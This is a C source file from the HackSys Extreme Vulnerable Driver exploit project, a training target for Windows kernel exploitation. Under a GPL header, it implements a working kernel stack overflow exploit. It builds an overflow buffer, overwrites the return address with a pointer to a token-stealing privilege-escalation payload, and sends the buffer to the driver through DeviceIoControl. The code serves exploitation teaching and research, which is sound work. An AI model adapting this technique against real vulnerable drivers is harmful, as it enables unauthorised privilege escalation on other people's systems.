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HackSys Extreme Vulnerable Driver Exploit | |
Author : Ashfaq Ansari | |
Contact: ashfaq[at]payatu[dot]com | |
Website: http://www.payatu.com/ | |
Copyright (C) 2011-2016 Payatu Technologies Pvt. Ltd. All rights reserved. | |
This program is free software: you can redistribute it and/or modify it under the terms of | |
the GNU General Public License as published by the Free Software Foundation, either version | |
3 of the License, or (at your option) any later version. | |
This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; | |
without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. | |
See the GNU General Public License for more details. | |
You should have received a copy of the GNU General Public License along with this program. | |
If not, see <http://www.gnu.org/licenses/>. | |
THIS SOFTWARE IS PROVIDED "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT | |
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE | |
ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY DIRECT, | |
INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED | |
TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS | |
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT | |
LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF | |
THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. | |
See the file 'LICENSE' for complete copying permission. | |
Module Name: | |
StackOverflow.c | |
Abstract: | |
This module implements the exploit for Stack Overflow | |
Vulnerability implemented in HackSys Extreme Vulnerable | |
Driver. | |
--*/ | |
#include "StackOverflow.h" | |
DWORD WINAPI StackOverflowThread(LPVOID Parameter) { | |
HANDLE hFile = NULL; | |
ULONG BytesReturned; | |
PVOID MemoryAddress = NULL; | |
PULONG UserModeBuffer = NULL; | |
LPCSTR FileName = (LPCSTR)DEVICE_NAME; | |
PVOID EopPayload = &TokenStealingPayloadWin7; | |
SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG); | |
__try { | |
// Get the device handle | |
DEBUG_MESSAGE("\t[+] Getting Device Driver Handle\n"); | |
DEBUG_INFO("\t\t[+] Device Name: %s\n", FileName); | |
hFile = GetDeviceHandle(FileName); | |
if (hFile == INVALID_HANDLE_VALUE) { | |
DEBUG_ERROR("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError()); | |
exit(EXIT_FAILURE); | |
} | |
else { | |
DEBUG_INFO("\t\t[+] Device Handle: 0x%X\n", hFile); | |
} | |
DEBUG_MESSAGE("\t[+] Setting Up Vulnerability Stage\n"); | |
DEBUG_INFO("\t\t[+] Allocating Memory For Buffer\n"); | |
UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(), | |
HEAP_ZERO_MEMORY, | |
UserModeBufferSize); | |
if (!UserModeBuffer) { | |
DEBUG_ERROR("\t\t\t[-] Failed To Allocate Memory: 0x%X\n", GetLastError()); | |
exit(EXIT_FAILURE); | |
} | |
else { | |
DEBUG_INFO("\t\t\t[+] Memory Allocated: 0x%p\n", UserModeBuffer); | |
DEBUG_INFO("\t\t\t[+] Allocation Size: 0x%X\n", UserModeBufferSize); | |
} | |
DEBUG_INFO("\t\t[+] Preparing Buffer Memory Layout\n"); | |
RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41); | |
MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG)); | |
*(PULONG)MemoryAddress = (ULONG)EopPayload; | |
DEBUG_INFO("\t\t\t[+] RET Value: 0x%p\n", *(PULONG)MemoryAddress); | |
DEBUG_INFO("\t\t\t[+] RET Address: 0x%p\n", MemoryAddress); | |
DEBUG_INFO("\t\t[+] EoP Payload: 0x%p\n", EopPayload); | |
DEBUG_MESSAGE("\t[+] Triggering Kernel Stack Overflow\n"); | |
OutputDebugString("****************Kernel Mode****************\n"); | |
DeviceIoControl(hFile, | |
HACKSYS_EVD_IOCTL_STACK_OVERFLOW, | |
(LPVOID)UserModeBuffer, | |
(DWORD)UserModeBufferSize, | |
NULL, | |
0, | |
&BytesReturned, | |
NULL); | |
OutputDebugString("****************Kernel Mode****************\n"); | |
HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer); | |
UserModeBuffer = NULL; | |
} | |
__except (EXCEPTION_EXECUTE_HANDLER) { | |
DEBUG_ERROR("\t\t[-] Exception: 0x%X\n", GetLastError()); | |
exit(EXIT_FAILURE); | |
} | |
return EXIT_SUCCESS; | |
} |